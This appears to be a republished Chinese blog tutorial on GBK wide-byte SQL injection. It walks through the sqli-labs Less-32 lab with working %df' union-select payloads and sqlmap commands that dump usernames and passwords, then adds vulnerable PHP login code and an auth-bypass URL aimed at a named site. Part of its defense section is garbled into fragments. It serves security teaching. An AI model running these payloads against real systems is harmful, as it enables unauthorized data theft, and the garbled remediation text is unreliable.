渗透测试-SQL注入之宽字节注入
Posted 炫彩@之星
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试-SQL注入之宽字节注入相关的知识,希望对你有一定的参考价值。
SQL注入之宽字节注入
文章目录
前言
一、什么是宽字节注入
宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。
转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\\”进行转义;
宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。
二、宽字节注入获取数据库信息
1.宽字节注入方法
宽字节注入原理
程序员防止注入点,在其后面加入\\进行转义
利用在其后面注入点发现没有报错
http://192.168.222.4/sqli-labs/Less-32/?id=2%df%27
注入?id=1%df’ 出现报错,存在注入
http://192.168.222.4/sqli-labs/Less-32/?id=1’(不可以注入)
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
http://192.168.222.4/sqli-labs/Less-32/?id=1%df%27
MySQL在使用GBK编码时,两个字符组合,认为是一个汉字
%df’->%df’-> %df%5c%27(%df%5c是一个汉字)->(汉字)‘->id=(汉字)’ and (可以注入)
(1)用sqli-labs靶场进行演示,这里l利用32关进行练习
首先我们尝试进行注入在后面加’
http://192.168.222.4/sqli-labs/Less-32/?id=1’
发现没有报错,我们可以去看看源代码是怎么写的
发现注入的’ 被\\转义了,无法进行注入
而且发现代码中用的是gbk编码,说明存在宽字节注入
mysql_query(“SET NAMES gbk”);
然后我们就可以进行宽字节注入,后面叫上%df’试试
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
发现报错,所以肯定存在宽字节注入,然后查询有多少列
发现存在3列,接下来尝试注入查找用户信息
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select user()),3–+
注入成功,查看当前数据库的表
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3–+
用户信息应该在users表中,接下来继续注入查看表中的信息,这里利用sqlmap进行注入查询,会比较方便
(2)打开sqlmap,输入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
这里会显示id没有注入,没事,进行下一步宽字节注入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
没有报错,接下来查当前用户
sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
查用户成功,接下来查库
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查数据库)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)
(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column
(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump来获取内容)
2.宽字节注入防御方法
(1)使用utf-8,避免宽字节注入;
ps: 不仅在gbk,韩文,日文等等都是快字节注入漏洞
2.mysql_real_escape_string,mysql_set_charset('gbk,
c
o
n
n
′
)
;
3.
可以设置参数,
c
h
a
r
a
c
t
e
r
s
e
t
c
l
i
e
n
t
=
b
i
n
a
r
y
只需在该语句中插入
conn'); 3.可以设置参数,character_set_client=binary 只需在该语句中插入
conn′);3.可以设置参数,charactersetclient=binary只需在该语句中插入result=mysql_query($sql)即可
r
e
s
u
l
t
=
m
y
s
q
l
q
u
e
r
y
(
"
c
h
a
r
a
c
t
e
r
s
e
t
c
l
i
e
n
t
=
b
i
n
a
r
y
"
,
result=mysql_query("character_set_client=binary",
result=mysqlquery("charactersetclient=binary",sql);//就不会出现宽字节注入了
(2)这里总结一下sqlmap宽字节注入的使用语句
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查数据库)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)
(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column
(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump来获取内容)
总结
本次实验是对SQL注入的宽字节注入进行靶场练习,了解了宽字节注入的原理和注入方法,学会了对代码的审计,判断注入的方式,从而获取到用户的信息。
SQL注入之宽字节注入
简介
宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的URL后面 追回SQL语句进行注入。比如:http://www.hackest.cn/article.php?id=1and 1=1/*
http://www.hackest.cn/article.php?id=1and 1=2/*,这个经典的判断目标是否存在注入的例子就是单字节注入。
理论上说,只要数据库连接代码设置了GBK编码,或者是默认编码就 是GBK,那现在的程序里到处都是注入漏洞。事实上,这种变换在XSS等领域也发挥了巨大的作用,在PHP+Linux后台程序结合的时候,还可能造成命 令注入,也就是说能可以在注入点直接执行Linux系统命令。比如登录文件login.php的代码如下:
<?php $conn=mysql_connect("localhost","root","hackest"); mysql_query("SET NAMES ‘GBK‘"); mysql_select_db("test",$conn); $user=mysql_escape_string($_GET[‘user‘]); $pass=mysql_escape_string($_GET[‘pass‘]); $sql="select * from cms_user where username=‘$user‘ and password=‘$pass‘"; $result=mysql_query($sql,$conn); while ($row=mysql_fetch_array($result, MYSQL_ASSOC)) { $rows[]=$row; } ?>
则可以通过构造以下语句进行注入:
http://www.hackest.cn/login.php?user=%df‘%20or%201=1%20limit%201,1%23&pass=
%20是空格的URL编码,%23是#的URL编码,Mysql注释符之一。对应的SQL语句是:
select * fromcms_user where username=‘運‘or 1=1 limit 1,1#‘ and password="
以下为URL编码:
%27---------单引号
%20----------空格
%23-----------#号
%5c------------/反斜杠
以上是关于渗透测试-SQL注入之宽字节注入的主要内容,如果未能解决你的问题,请参考以下文章